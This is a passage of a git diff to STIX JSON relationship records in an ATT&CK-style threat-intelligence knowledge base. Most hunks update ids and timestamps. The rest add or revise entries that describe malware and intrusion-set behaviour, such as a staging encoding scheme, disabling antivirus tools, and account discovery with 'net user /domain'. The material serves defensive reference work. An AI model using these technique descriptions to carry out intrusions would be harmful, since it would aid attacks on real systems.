diff --git a/enterprise-attack/relationship/relationship--f9600732-9116-4325-8073-28d81721b37a.json b/enterprise-attack/relationship/relationship--f9600732-9116-4325-8073-28d81721b37a.json
index 38436311f5..bbe044e513 100644
--- a/enterprise-attack/relationship/relationship--f9600732-9116-4325-8073-28d81721b37a.json
+++ b/enterprise-attack/relationship/relationship--f9600732-9116-4325-8073-28d81721b37a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e7d8251a-137a-4d14-b629-4dab00b878d6",
+    "id": "bundle--3ba4e087-da93-443b-9ea4-1812a66f9e1f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f9600732-9116-4325-8073-28d81721b37a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
diff --git a/enterprise-attack/relationship/relationship--f9669551-29f8-4aaf-83b9-50e541bbdced.json b/enterprise-attack/relationship/relationship--f9669551-29f8-4aaf-83b9-50e541bbdced.json
index a6dbcc0e0e..0daee806df 100644
--- a/enterprise-attack/relationship/relationship--f9669551-29f8-4aaf-83b9-50e541bbdced.json
+++ b/enterprise-attack/relationship/relationship--f9669551-29f8-4aaf-83b9-50e541bbdced.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--29007938-8511-4b71-b089-bc5f0c8565b6",
+    "id": "bundle--e5b588ad-b43a-44f4-b69b-0e02bab2e1c0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f9669551-29f8-4aaf-83b9-50e541bbdced",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FLASHFLOOD employs the same encoding scheme as SPACESHIP for data it stages. Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23.",
             "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
diff --git a/enterprise-attack/relationship/relationship--f9773935-853e-4d5e-9345-9587fd77340d.json b/enterprise-attack/relationship/relationship--f9773935-853e-4d5e-9345-9587fd77340d.json
index 99eb484f20..9013ab34be 100644
--- a/enterprise-attack/relationship/relationship--f9773935-853e-4d5e-9345-9587fd77340d.json
+++ b/enterprise-attack/relationship/relationship--f9773935-853e-4d5e-9345-9587fd77340d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--82bf3646-6713-4fb6-bba5-5da9851bd303",
+    "id": "bundle--e9eaa031-dd8f-49f4-b173-c5d16bac0685",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f9773935-853e-4d5e-9345-9587fd77340d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky scans the victim for files that contain certain keywords from a list that is obtained from the C2 as a text file. It also collects information about installed software.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
diff --git a/enterprise-attack/relationship/relationship--f9c7d0e1-135f-4e21-8251-3049bc24c18d.json b/enterprise-attack/relationship/relationship--f9c7d0e1-135f-4e21-8251-3049bc24c18d.json
index 810e8447da..482002584d 100644
--- a/enterprise-attack/relationship/relationship--f9c7d0e1-135f-4e21-8251-3049bc24c18d.json
+++ b/enterprise-attack/relationship/relationship--f9c7d0e1-135f-4e21-8251-3049bc24c18d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ab62c312-6a6c-4683-bb6d-d70e8ce93e2b",
+    "id": "bundle--19d466c8-821e-4f9a-8237-7bf52869823b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f9c7d0e1-135f-4e21-8251-3049bc24c18d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS checks for new hard drives on the victim, such as USB devices, by listening for the WM_DEVICECHANGE window message.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--f9ca3697-51a1-494b-8a61-06e516f29860.json b/enterprise-attack/relationship/relationship--f9ca3697-51a1-494b-8a61-06e516f29860.json
index 95e0751604..43be7614c2 100644
--- a/enterprise-attack/relationship/relationship--f9ca3697-51a1-494b-8a61-06e516f29860.json
+++ b/enterprise-attack/relationship/relationship--f9ca3697-51a1-494b-8a61-06e516f29860.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1598d160-d98a-49eb-9ceb-28bf22014a46",
+    "id": "bundle--c35158f3-18b1-45bd-a536-8fdcd0dfe19f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f9ca3697-51a1-494b-8a61-06e516f29860",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.029Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08",
             "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d",
diff --git a/enterprise-attack/relationship/relationship--fa035513-59b6-4f54-8b85-13ec08849453.json b/enterprise-attack/relationship/relationship--fa035513-59b6-4f54-8b85-13ec08849453.json
new file mode 100644
index 0000000000..9c423c4333
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--fa035513-59b6-4f54-8b85-13ec08849453.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--443ce5b9-17d4-4ad4-b6df-fd2ebc660142",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--fa035513-59b6-4f54-8b85-13ec08849453",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Some  samples use a custom encryption method for C2 traffic using AES, base64 encoding, and multiple keys.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--fa04ac7f-206f-42ad-b0c7-499e57bc99ce.json b/enterprise-attack/relationship/relationship--fa04ac7f-206f-42ad-b0c7-499e57bc99ce.json
index 732f96d104..3b8a588af0 100644
--- a/enterprise-attack/relationship/relationship--fa04ac7f-206f-42ad-b0c7-499e57bc99ce.json
+++ b/enterprise-attack/relationship/relationship--fa04ac7f-206f-42ad-b0c7-499e57bc99ce.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--389326bf-86ec-468b-9ea6-be1981a9f3c5",
+    "id": "bundle--f227924a-be37-403a-a8cd-6399fe4e34d7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fa04ac7f-206f-42ad-b0c7-499e57bc99ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.030Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8bd1ae32-a686-48f4-a6f8-470287f76152",
             "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
diff --git a/enterprise-attack/relationship/relationship--fa04b7b3-e9ea-4c35-a2a5-8d0c73f5698b.json b/enterprise-attack/relationship/relationship--fa04b7b3-e9ea-4c35-a2a5-8d0c73f5698b.json
index 1817b14e84..1dd1615631 100644
--- a/enterprise-attack/relationship/relationship--fa04b7b3-e9ea-4c35-a2a5-8d0c73f5698b.json
+++ b/enterprise-attack/relationship/relationship--fa04b7b3-e9ea-4c35-a2a5-8d0c73f5698b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bc08fc1a-43b1-4667-9c23-6dec4f3936fc",
+    "id": "bundle--d33d9aa5-7482-4acb-a4fa-f475aaa09ee9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fa04b7b3-e9ea-4c35-a2a5-8d0c73f5698b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx has the ability to remotely execute commands.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
diff --git a/enterprise-attack/relationship/relationship--fa155ccc-b9db-48f6-bb1a-a367596668ad.json b/enterprise-attack/relationship/relationship--fa155ccc-b9db-48f6-bb1a-a367596668ad.json
new file mode 100644
index 0000000000..71a5e477ad
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--fa155ccc-b9db-48f6-bb1a-a367596668ad.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--57b98fef-b47d-4f71-b168-f1109a056023",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--fa155ccc-b9db-48f6-bb1a-a367596668ad",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used <code>net user /domain</code> to identify account information.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--fa2c0697-0d47-4ee9-b5bf-845ac3453c3a.json b/enterprise-attack/relationship/relationship--fa2c0697-0d47-4ee9-b5bf-845ac3453c3a.json
index 537dc107b4..03a61cfeb1 100644
--- a/enterprise-attack/relationship/relationship--fa2c0697-0d47-4ee9-b5bf-845ac3453c3a.json
+++ b/enterprise-attack/relationship/relationship--fa2c0697-0d47-4ee9-b5bf-845ac3453c3a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d2ed5f8e-f648-4451-8bae-06c28a6c1df4",
+    "id": "bundle--cd63fc76-cc79-4958-b0c9-2b6012d2e54f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fa2c0697-0d47-4ee9-b5bf-845ac3453c3a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Nidiran can create a new service named msamger (Microsoft Security Accounts Manager).",
             "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
diff --git a/enterprise-attack/relationship/relationship--fa6292a2-c184-4bc9-a37f-0c1ac61e1135.json b/enterprise-attack/relationship/relationship--fa6292a2-c184-4bc9-a37f-0c1ac61e1135.json
index 134ef1480f..58724c80f3 100644
--- a/enterprise-attack/relationship/relationship--fa6292a2-c184-4bc9-a37f-0c1ac61e1135.json
+++ b/enterprise-attack/relationship/relationship--fa6292a2-c184-4bc9-a37f-0c1ac61e1135.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b5c16fde-5403-4805-8536-b474fb119e16",
+    "id": "bundle--b42592e7-02f2-4bb9-b4c3-00f6650143b0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fa6292a2-c184-4bc9-a37f-0c1ac61e1135",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover files in specific locations on the hard disk %TEMP% directory, the current user's desktop, and in the Program Files directory.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--fa9a8640-75e5-458c-99c0-e5e85aa32a77.json b/enterprise-attack/relationship/relationship--fa9a8640-75e5-458c-99c0-e5e85aa32a77.json
index 882d243147..d907c04f50 100644
--- a/enterprise-attack/relationship/relationship--fa9a8640-75e5-458c-99c0-e5e85aa32a77.json
+++ b/enterprise-attack/relationship/relationship--fa9a8640-75e5-458c-99c0-e5e85aa32a77.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b60708bf-7a76-4ed2-8cab-d9d5601c9bfe",
+    "id": "bundle--6d0aedc0-fb04-4373-9ecb-1d8bcbb1e342",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fa9a8640-75e5-458c-99c0-e5e85aa32a77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
             "target_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
diff --git a/enterprise-attack/relationship/relationship--fad2a504-6e00-4892-bf88-b49d6d18788c.json b/enterprise-attack/relationship/relationship--fad2a504-6e00-4892-bf88-b49d6d18788c.json
index bbe45748f8..0898634665 100644
--- a/enterprise-attack/relationship/relationship--fad2a504-6e00-4892-bf88-b49d6d18788c.json
+++ b/enterprise-attack/relationship/relationship--fad2a504-6e00-4892-bf88-b49d6d18788c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--563a3a25-8c89-4a9f-b30a-33ae910b32dc",
+    "id": "bundle--8d1a06ec-6542-4313-aedb-245f957f07c7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fad2a504-6e00-4892-bf88-b49d6d18788c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Axiom has been known to dump credentials.",
             "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
diff --git a/enterprise-attack/relationship/relationship--fad44d26-02a8-4cdc-b566-5e24f32a93b3.json b/enterprise-attack/relationship/relationship--fad44d26-02a8-4cdc-b566-5e24f32a93b3.json
index 8edf25b453..b3ff7d57c7 100644
--- a/enterprise-attack/relationship/relationship--fad44d26-02a8-4cdc-b566-5e24f32a93b3.json
+++ b/enterprise-attack/relationship/relationship--fad44d26-02a8-4cdc-b566-5e24f32a93b3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cda17ee4-5b5e-4a84-8ffa-2b4c8bf6166c",
+    "id": "bundle--a02d8a0f-c9af-417a-bc4e-bd65c81f525d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fad44d26-02a8-4cdc-b566-5e24f32a93b3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
             "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
diff --git a/enterprise-attack/relationship/relationship--fada6223-ba24-4c26-aa89-3998f07604f9.json b/enterprise-attack/relationship/relationship--fada6223-ba24-4c26-aa89-3998f07604f9.json
index b7f6158486..439bd87f57 100644
--- a/enterprise-attack/relationship/relationship--fada6223-ba24-4c26-aa89-3998f07604f9.json
+++ b/enterprise-attack/relationship/relationship--fada6223-ba24-4c26-aa89-3998f07604f9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bd4a5d34-3dcc-4194-83a8-6bc2626fd64a",
+    "id": "bundle--f489fd78-b8d9-4481-8e2b-ffa200c5f9c2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fada6223-ba24-4c26-aa89-3998f07604f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After collecting documents from removable media, Prikormka compresses the collected files.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--fb0aef48-57f5-4331-acdd-25fdfdf1babb.json b/enterprise-attack/relationship/relationship--fb0aef48-57f5-4331-acdd-25fdfdf1babb.json
index e9f5134c36..b859f80a7e 100644
--- a/enterprise-attack/relationship/relationship--fb0aef48-57f5-4331-acdd-25fdfdf1babb.json
+++ b/enterprise-attack/relationship/relationship--fb0aef48-57f5-4331-acdd-25fdfdf1babb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9fed82d0-dd2e-468d-9597-b5d5e356c584",
+    "id": "bundle--8a84fa24-de98-42f4-8051-61139a57e46a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fb0aef48-57f5-4331-acdd-25fdfdf1babb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type runs the command <code>net user</code> on a victim. S-Type also runs tests to determine the privilege level of the compromised user.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
diff --git a/enterprise-attack/relationship/relationship--fb11df98-790a-4b1c-9ca0-73224226cff3.json b/enterprise-attack/relationship/relationship--fb11df98-790a-4b1c-9ca0-73224226cff3.json
index fc701297b2..e0ac0bbc46 100644
--- a/enterprise-attack/relationship/relationship--fb11df98-790a-4b1c-9ca0-73224226cff3.json
+++ b/enterprise-attack/relationship/relationship--fb11df98-790a-4b1c-9ca0-73224226cff3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0f478d1f-01bc-40eb-a895-a830db25c098",
+    "id": "bundle--5f172cc1-cf18-4659-9118-c211b3fc67bf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fb11df98-790a-4b1c-9ca0-73224226cff3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib communicates over HTTP for C2.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
diff --git a/enterprise-attack/relationship/relationship--fb1a7bbd-9dec-4038-9935-1647378f739f.json b/enterprise-attack/relationship/relationship--fb1a7bbd-9dec-4038-9935-1647378f739f.json
index d1b6b3092d..bc2ff2b33e 100644
--- a/enterprise-attack/relationship/relationship--fb1a7bbd-9dec-4038-9935-1647378f739f.json
+++ b/enterprise-attack/relationship/relationship--fb1a7bbd-9dec-4038-9935-1647378f739f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f7cd694c-b0af-484d-b499-30ee27bbe7d3",
+    "id": "bundle--9e3a1032-cece-4369-ba1c-d4946f87a636",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fb1a7bbd-9dec-4038-9935-1647378f739f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21",
             "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
diff --git a/enterprise-attack/relationship/relationship--fb1ff794-8060-42c8-8969-b6660b07068f.json b/enterprise-attack/relationship/relationship--fb1ff794-8060-42c8-8969-b6660b07068f.json
index 0e18a0f9a3..a00a0491fd 100644
--- a/enterprise-attack/relationship/relationship--fb1ff794-8060-42c8-8969-b6660b07068f.json
+++ b/enterprise-attack/relationship/relationship--fb1ff794-8060-42c8-8969-b6660b07068f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4d1d8275-11ba-4efe-8405-4a70e9c71f35",
+    "id": "bundle--fad282a8-c315-4874-9245-3d58b8e93e87",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fb1ff794-8060-42c8-8969-b6660b07068f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger has functionality to disable security tools, including Kaspersky, BitDefender, and MalwareBytes.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
diff --git a/enterprise-attack/relationship/relationship--fb3b8f32-0991-4d05-a80d-a4736372ad2a.json b/enterprise-attack/relationship/relationship--fb3b8f32-0991-4d05-a80d-a4736372ad2a.json
index dcb69f23f0..b721ff2f46 100644
--- a/enterprise-attack/relationship/relationship--fb3b8f32-0991-4d05-a80d-a4736372ad2a.json
+++ b/enterprise-attack/relationship/relationship--fb3b8f32-0991-4d05-a80d-a4736372ad2a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ebdc9cda-8c02-4b5e-8161-cb50eb6cd4bf",
+    "id": "bundle--3e54b269-3c7b-4139-a5b7-a4ec55e8cd48",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fb3b8f32-0991-4d05-a80d-a4736372ad2a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Janicab used a valid AppleDeveloperID to sign the code to get past security restrictions.",
             "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b",
diff --git a/enterprise-attack/relationship/relationship--fb5e24e6-58f1-4ef0-9094-147319487f15.json b/enterprise-attack/relationship/relationship--fb5e24e6-58f1-4ef0-9094-147319487f15.json
index cd5df34529..317804ef4a 100644
--- a/enterprise-attack/relationship/relationship--fb5e24e6-58f1-4ef0-9094-147319487f15.json
+++ b/enterprise-attack/relationship/relationship--fb5e24e6-58f1-4ef0-9094-147319487f15.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f22defd0-7fa9-435b-932f-42bf1cdeec5b",
+    "id": "bundle--0500e4c3-a7c8-4afb-9614-e8578c4fb6d9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fb5e24e6-58f1-4ef0-9094-147319487f15",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a",
             "target_ref": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0",
diff --git a/enterprise-attack/relationship/relationship--fb60b027-facd-4be2-b8b2-0fb9351ea235.json b/enterprise-attack/relationship/relationship--fb60b027-facd-4be2-b8b2-0fb9351ea235.json
index e21222c6f6..97440d715f 100644
--- a/enterprise-attack/relationship/relationship--fb60b027-facd-4be2-b8b2-0fb9351ea235.json
+++ b/enterprise-attack/relationship/relationship--fb60b027-facd-4be2-b8b2-0fb9351ea235.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c5f2e62a-cb52-4787-9692-dfbf1b2fcf5e",
+    "id": "bundle--9f08eef3-39a0-4da0-8bfc-d396180c4f60",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fb60b027-facd-4be2-b8b2-0fb9351ea235",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "cmd is used to execute programs and other actions at the command-line interface.",
             "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
diff --git a/enterprise-attack/relationship/relationship--fb6a804a-1929-4c13-a78d-1cf724c09e77.json b/enterprise-attack/relationship/relationship--fb6a804a-1929-4c13-a78d-1cf724c09e77.json
index 3239eee8ac..4898692b82 100644
--- a/enterprise-attack/relationship/relationship--fb6a804a-1929-4c13-a78d-1cf724c09e77.json
+++ b/enterprise-attack/relationship/relationship--fb6a804a-1929-4c13-a78d-1cf724c09e77.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7c00c179-e21f-45ce-a90f-b94726954b70",
+    "id": "bundle--85f734e5-b73a-4039-bdb5-bfa7cb59e7aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fb6a804a-1929-4c13-a78d-1cf724c09e77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RIPTIDE is a RAT that communicates with HTTP.",
             "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e",
diff --git a/enterprise-attack/relationship/relationship--fb6a8268-5a73-4ac0-8f61-439f472063d6.json b/enterprise-attack/relationship/relationship--fb6a8268-5a73-4ac0-8f61-439f472063d6.json
index 1a6115f4ba..766a373719 100644
--- a/enterprise-attack/relationship/relationship--fb6a8268-5a73-4ac0-8f61-439f472063d6.json
+++ b/enterprise-attack/relationship/relationship--fb6a8268-5a73-4ac0-8f61-439f472063d6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c4ec06a8-0ffc-402b-b396-3c8ca8a27551",
+    "id": "bundle--41fe09bb-0e74-4ded-a69c-fe2e0e67299a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
